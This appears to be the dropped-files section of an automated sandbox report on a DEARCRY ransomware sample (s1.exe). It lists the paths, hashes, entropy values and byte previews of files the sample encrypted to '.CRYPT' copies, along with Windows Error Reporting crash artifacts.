                                                              SHA-512:CF77563B9295B191CE2F309E03618D1AB4D317F65B87DBECC4904EE2D058DB06D23C20C199571B0FAFB67AE5EC5166B76AF0B7D8BFE3996B0DDE9751E28F8C03
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):456
                                                              Entropy (8bit):7.479115652589435
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4D0D569BB3E68E1A3CB1AE8DB4908FB9
                                                              SHA1:EF3177DFB2260B858BD6A2A7A0B5525D1FC59811
                                                              SHA-256:E96633405918203937DE7CC3FBDBF24B788D3E51455214BF74E5B06662A168A1
                                                              SHA-512:71A84C088A06220E5B69E92CE24F10C94D1128BE3FB5A79C96540B03BFA49730E4B2C4E0484F2605DE06B9772D62CD3E120D9C9815B68CF2C339CF069DEE5CBE
                                                              Malicious:false
                                                              Preview: DEARCRY!....s.h_...t.VJ.f.i......Gy.uz...3..m......-..6.iQ.....Q.FJ.;..w.]_X.nM.Na...m}r...1TD......../..........@&......X\.8.......@..F.p...f..r...}*..p.....S#.E..+l....[.$.J....a.(.#Yz.pU10x...'...../\N.....fATuk...._.N.z.cgj...y{...0..8.......C..L.UY`...............b..........'....z..+x.#..?.ne.O..z.i......./l..ja.Y.S...l..z.C....!....D..r.. J...{.^...(.z....z.X.H..5....SJ5....p@...(....W..=kl\.}.m.k_...A..c.A$........n.U6.
                                                              C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Explorer.EXE_de01dd31a8cef2e8c7bdabd18058c0327f9cf_10665708_053d5ae0\Report.wer
                                                              Process:C:\Windows\System32\WerFault.exe
                                                              File Type:Little-endian UTF-16 Unicode text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):32486
                                                              Entropy (8bit):3.681422579817178
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E7389E99190DD29F88DED0F22EDA281E
                                                              SHA1:4A8620455A0204D3228C2C541BA8C2400A015C17
                                                              SHA-256:0AC7FAB9DCF6B195BB1F8D94BCE7B019AB769C451C6C3FA8BCB782B0B1A11724
                                                              SHA-512:FF59ED1CDDA8E27A8D86755C0BD2E4AD21465DFE2DFD4FF803C454F9F606FCF0670C21DA106A7E8B93305F26A4C0F286F4529953741A6A05343F24FF3AE3426B
                                                              Malicious:false
                                                              Preview: ..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.6.0.0.3.7.8.7.9.2.6.2.2.1.5.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.F.l.a.g.s.=.5.2.4.2.8.8.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.0.c.2.0.c.2.2.-.6.4.a.2.-.4.9.d.b.-.9.0.a.f.-.3.f.3.e.c.4.e.a.a.3.5.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.f.3.5.d.e.7.b.-.e.c.1.8.-.4.2.0.0.-.8.5.e.a.-.7.f.0.9.b.0.d.c.c.9.e.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.E.x.p.l.o.r.e.r...E.X.E.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.E.X.P.L.O.R.E.R...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.3.c.-.0.0.0.1.-.0.0.1.7.-.a.f.a.3.-.2.a.e.b.4.9.1.7.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.5.d.0.2.9.9.1.4.0.c.f.9.8.8.7.5.b.0.7.d.b.d.2.d.8.9.2.6.1.7.4.0.1.d.a.d.8.b.9.!.e.x.p.l.o.r.e.r...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.0.5././.0.4././.1.2.:.0.2.:.2.
                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER2EDB.tmp.WERInternalMetadata.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4050
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B8BB62B24E1C018A3491793AC634F4A2
                                                              SHA1:6CFF8AA27027A125837AAD98A6ADFA9B562FBB6C
                                                              SHA-256:FD16DE06570C312D10824AD6A2CD0031D124D39303B96432FCF8C987F12BF47A
                                                              SHA-512:4BC884F738465339DD118ABDDFF6BCD4C773E15B7EACA6E14FD6AAB5B0C9B80DE0317FF6DA54F05E1BC7243D89697F824A062D42F50E9492B55C1FF0635B58AF
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER2EDB.tmp.WERInternalMetadata.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4344
                                                              Entropy (8bit):7.9482779418088105
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F51014367B189769E600BCD04B2C3219
                                                              SHA1:9F7D19C157DC3699D351C324DC8E9D7CB0DC23C9
                                                              SHA-256:DDF937D498DAC8A586D3CD63011935BF6D0A01B6022C4F969CA990756223E428
                                                              SHA-512:B2AC7665288BE8CF7E995AFC46798FBBEEE19F8D9FEE5D5400321AB1CA1A8D7AADAAFF264D6A9E37AB9C3946343B17F2753374C5487FF009BF420A88A444B405
                                                              Malicious:false
                                                              Preview: DEARCRY!....O.>.._~...Q.. ..j.j..0E/&.+S..-...c.S.J.......FKy..66...k@...t..-..,.4...o.QP...b...F...e......W.....6v$.g......Y...n..[...0.(J..M.kVrf%..Q.~.k..._t.....|.N3...G....L....N.......:.dJ.."..th.o.GTB.2...1x=..E...k2UEC...>..:....6...m_.V......_.I............T.....$.._...J.5.E+......I...^LN...oT(.D\w..r.N..K..-U.-.........n]....?..'.]...0.P...4Dm.0Ka..t.qK.#....32jS.Kn.u&u...%4......G...M...'..V;s.:..K...c...v..|...x..|.0Kd$K....x.5m..d.u..I...r.d..N.~g-@Kg.0.-.SrA=..........4....]....u./.k......FO.E.1.E.8..o...P..;W!.l....y.g[..........K_...4.@...x(.!..Ft.....zI..S..:.....u....\=....~.t....-.....2./.6..K.........%"E.xG..Z.....)....0...{...8..2.Q....h...t7.L9...i.y.....}...,...+...j..9.X6.C.8..^.....z.............X.<d.......3..0.X:..O.]3..5X.....3..f..M..a_.0y0$<..J.Qd.vr...+..'..y.\..5*-HU...X"C_.8..P...+.....[.h.....W......t.2.@Y..Sc.....6..(O...o....N%{'>..6.e..T~..S.......]..n.j.2_.#.....0I`...c.......cP.>.....
                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER3796.tmp.WERInternalMetadata.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4050
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B8BB62B24E1C018A3491793AC634F4A2
                                                              SHA1:6CFF8AA27027A125837AAD98A6ADFA9B562FBB6C
                                                              SHA-256:FD16DE06570C312D10824AD6A2CD0031D124D39303B96432FCF8C987F12BF47A
                                                              SHA-512:4BC884F738465339DD118ABDDFF6BCD4C773E15B7EACA6E14FD6AAB5B0C9B80DE0317FF6DA54F05E1BC7243D89697F824A062D42F50E9492B55C1FF0635B58AF
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER3796.tmp.WERInternalMetadata.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4344
                                                              Entropy (8bit):7.958645354643874
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0AE848D8B4C60C749C773CC1C3E06B85
                                                              SHA1:70CE4456543934D047D4FD66E19F29C6DC4EE11B
                                                              SHA-256:3F17542E043C0D08BC07A5AA3ED79A9F2BF87D252944B9903F1DB89100305533
                                                              SHA-512:6CDB04EB13E0FAE650C5BC711DAE0957EA16165C8F084BDBE272A68E4125B85488CB3ACDF3AD472946CF33BD7F92A3CDE15DF7EF6910FF5A7BCBD988BCC7EFEA
                                                              Malicious:false
                                                              Preview: DEARCRY!....j^3R.-.Q.R......r..}.h..k..m...zs(.,i..:.....m..e1..e.2.....D...X..[)......".z@....eF.....;J.o7.$.9.~......KD..R.%..C..a..R.c#..(.c</(....:r.<..z./2gVn...q.7.Q.ru.i!...S.7Wu.....Z.ea..yjZ...y!.i,.BQ..A.5....1.vDe...&....7.......F.......T(%'..>............{6Sm...'..KHs1..<.e...p5f.d.ll.-2...$....N..yP.Ww..tc...3.+.kR..*..I..<......%.........^_3M..[o.G~....C..<V......:..x..soOe%..5........T4...Y,..c..H.....|.$.".!....M.d?......./[. .3K..n.........)..Z,'..G?.Q.y..@.=8....?....Q.#%.....u..*y.x._..kB.@^#.,....L....Y....r.B:......n^Y...W-L....l...{..H.9.I..=]&(...v..E[..8%^x.D.Y...Y.t..+'#^....j....e/.t..8.J.J..c.z...n.>=.P%.!.]o({o....R.S.n.u..v.NO.....>:......u...=...........{D5...uf..E.J....w16.v....\....S...<..P$.s.{.2yX.R.L..>VlK.'.f.QQ.>.4.HG...........4Bu.)....W...O.......W.?..?~..,..l.[l.%..x......o,.q.[...\x.9.0. .W.*........L.U.9..5jNPL..*.Y:......:wf>>...f..G!.R.|..8!.,.e...Y..o@.U....$..#.".#io@.."....y./M...
                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER5080.tmp.dmp
                                                              Process:C:\Windows\System32\WerFault.exe
                                                              File Type:Mini DuMP crash report, 16 streams, Fri Mar 12 15:51:20 2021, 0x1205a4 type
                                                              Category:dropped
                                                              Size (bytes):1090286
                                                              Entropy (8bit):1.4102369742691383
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:04086176EFBD2BDA80EBD9EF0EF8C74E
                                                              SHA1:84E6D2515A4D1743155B7B862A398705BDFD8380
                                                              SHA-256:3F434D535700B583BAC0B9F80EF8C7FE62C08565EE673810B71CB93259CD5AAE
                                                              SHA-512:E6A66B5AB3282832171ED2B34966A5D38C969125EE59135100C566A30699C6A5D3EB3A63C60CE61E2D076C38EC8B3C4A32BA09DE38471CC22FD83DE99FADFAFB
                                                              Malicious:false
                                                              Preview: MDMP....... .........K`...................U...........B.......z......Lw......................T.......<....wK`.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...a.m.d.6.4.,.1.0...0...1.7.1.3.4...1.......................................................................................................
                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER5A16.tmp.WERInternalMetadata.xml
                                                              Process:C:\Windows\System32\WerFault.exe
                                                              File Type:XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):10198
                                                              Entropy (8bit):3.712912246989581
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:45F85DE6E3C81DAB0A2EFB3E81394B72
                                                              SHA1:FEF662D8749BF09184BAB0CC234A160E441EBCED
                                                              SHA-256:821CC5D429A8EB14539558D5041C6B4F2DDFEAE6E045914919BB87DF1A899DDC
                                                              SHA-512:FF7A8BDC7A0D61CA9AA2BBD3C9BA2F8C90F4FD936D0572E2186E1900E7718100843F68D7DACD95904E03253BCBC41D917B3273B1648AC9D7230F5C1C93780F7D
                                                              Malicious:false
                                                              Preview: ..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.3.8.8.<./.P.i.d.>.......
                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER5AA4.tmp.xml
                                                              Process:C:\Windows\System32\WerFault.exe
                                                              File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):4697
                                                              Entropy (8bit):4.476502272581059
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:79BBA0E5EE101B28A5AFA90FD19C9ED2
                                                              SHA1:DF410F09D24A33D2938DC841449190B3881F8222
                                                              SHA-256:2324E9A1D0A7C731125F18A7E6320B9BEDDFA7FF6005960A50F979C51A74A1DE
                                                              SHA-512:666968F6DBE0FCF6CD5386D35AF1C9A5ABF2FEFE68F593F2D828779497C500F259E6BCBBF2DD5EFBB9078A3DDB6A805233A89284BFD858F2FDDE245936037739
                                                              Malicious:false
                                                              Preview: <?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="898622" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..
                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WERA601.tmp.WERInternalMetadata.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4050
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B8BB62B24E1C018A3491793AC634F4A2
                                                              SHA1:6CFF8AA27027A125837AAD98A6ADFA9B562FBB6C
                                                              SHA-256:FD16DE06570C312D10824AD6A2CD0031D124D39303B96432FCF8C987F12BF47A
                                                              SHA-512:4BC884F738465339DD118ABDDFF6BCD4C773E15B7EACA6E14FD6AAB5B0C9B80DE0317FF6DA54F05E1BC7243D89697F824A062D42F50E9492B55C1FF0635B58AF
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WERA601.tmp.WERInternalMetadata.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4344
                                                              Entropy (8bit):7.954810903076309
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:40789FD06762DB8BB588B33D80CDE632
                                                              SHA1:11BCBBE03887EB2532FE81423868261D99EF9C95
                                                              SHA-256:ED0E4D254E17607DB30E94D854E1C8544587CFD563502C9DAB7D97133AEC4E92
                                                              SHA-512:688B5F34E1E57B198F06225931FEE2733D5AFC2244AC886B9187CB1717F8426ADD307564DC1CB537E0E122822B65945B029801A082E80EACF479262C6D11E125
                                                              Malicious:false
                                                              Preview: DEARCRY!..../...38.L.@L.i..r......WX-R.F..T.X...p.....l.{[...]rp....|..?..sz!@.l^.....l...[.4'{.Ya...s........j..i...A.-_....f...]......8..03.cA..e....H9..."M.L1f_q..?.$.i.q.Tc......G.....}.|......t,~.Hoi..q...HY[....w..f..bkk.Y.y..f......j8@FF..o...r..............L....j....M.|...}Tl...ER~.\....A..d.,q}S..h.O.>.{....>....=&.]O..6@..*Um^.H.I......;...>...m.....4f.~...N..61......|...~`K.&....'..Zc8G..U.....h....e.H..K:..8..p.:../.Vt..Ss.+.}....t...'R.rI....0f.Fr....Y..O}O.e.+-...Mtw..:..`+j.'.^`.r...M-.R.V..).S4..4.....{1.b...n}.>Z.].P.1U.~.[....H.]......1.^..$...#R..kk..'oz....u.3...G..N..\..R.H...(?....J.]....%..=.;.Il.2.).X)..m.O.*s...N/...]..G.._..EMX0.#.....k..U..`.h..).Y .c..K.....\-\...N..)8=W.D...5..T|..4......ZY#uAp]...k..R......?o.I.)&...`.9.%....w=..? .3.Y>x.L...-.x.@...T8.|.5..]S.E.L..._..3.p.4%..P"..[c..ey...N.....?:.L.k..q..s.h.G4......I.Xi....../S..{Y.XH-.$p.B.`..+;....B{..V]\@.~....5R...rK..0.........-..v.<.*.lt.'..._
                                                              C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4152600
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AA149E86F8ED0C8E19FD700F6A263CFD
                                                              SHA1:981543BA6E644304350120742EEFE23869B6761E
                                                              SHA-256:981CDBFF639EA3C4358D80E8783D9D31B0293CADA019BA10BA1938A548A59AB7
                                                              SHA-512:3F8FFCEC665D3B4E537868D132D57DE045320F47D0C22089F2B9B8305F0CB8D07382EA4DC4EBC2259E6E37325085C1A3D7D89A48508854151F48FAA75C6BD59D
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4155192
                                                              Entropy (8bit):7.999959646846841
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:479117240FD59C151DA5AE06C9F2CA29
                                                              SHA1:9D53FF6D3BFCB6ACAF0E9F0D76104F11D4A4B730
                                                              SHA-256:6E29E2449D6FE4C3C23DCCB52338C8DB7719E4CDE096B3A25430DD821809D4B1
                                                              SHA-512:5DB17FF25A648738DA3C24972D522BB6327367F3AB50CBE5E25308D32118A325E86331BD494B0189E685699F99A77CCF08E6F28AC39D481F2F0DDD2CFDF3EE4D
                                                              Malicious:true
                                                              Preview: DEARCRY!........g......"..3..]..DB.G_.YHe4..1...LZ..m.(L.D..V.k...#...e.#I.U...K.!.l...q@Bfa.L.....2x.O|.?.....p...?.....n.B17.8.....:....s....q..@8.-T..P.p...."cG1H.{.x.B.W.q...g.{.9t.d...g)`...F.GU...+.A.W..LN8..Jq1|w.a.SzO.%@y.@.0.R....va..n..Do?9NR..6*iQ.....X........9..#.fE0.5/'.......F.j.e.....x.J.4Wg.T.YF....Wq.w}.R...... .s....U..m/.. .}2....FQ:.)......&....;....asc..Dl>..l.....>...m....h....tn.'.<^\...@..t.5..4m+.{......{@....QF.l.[....V..iml...P.... 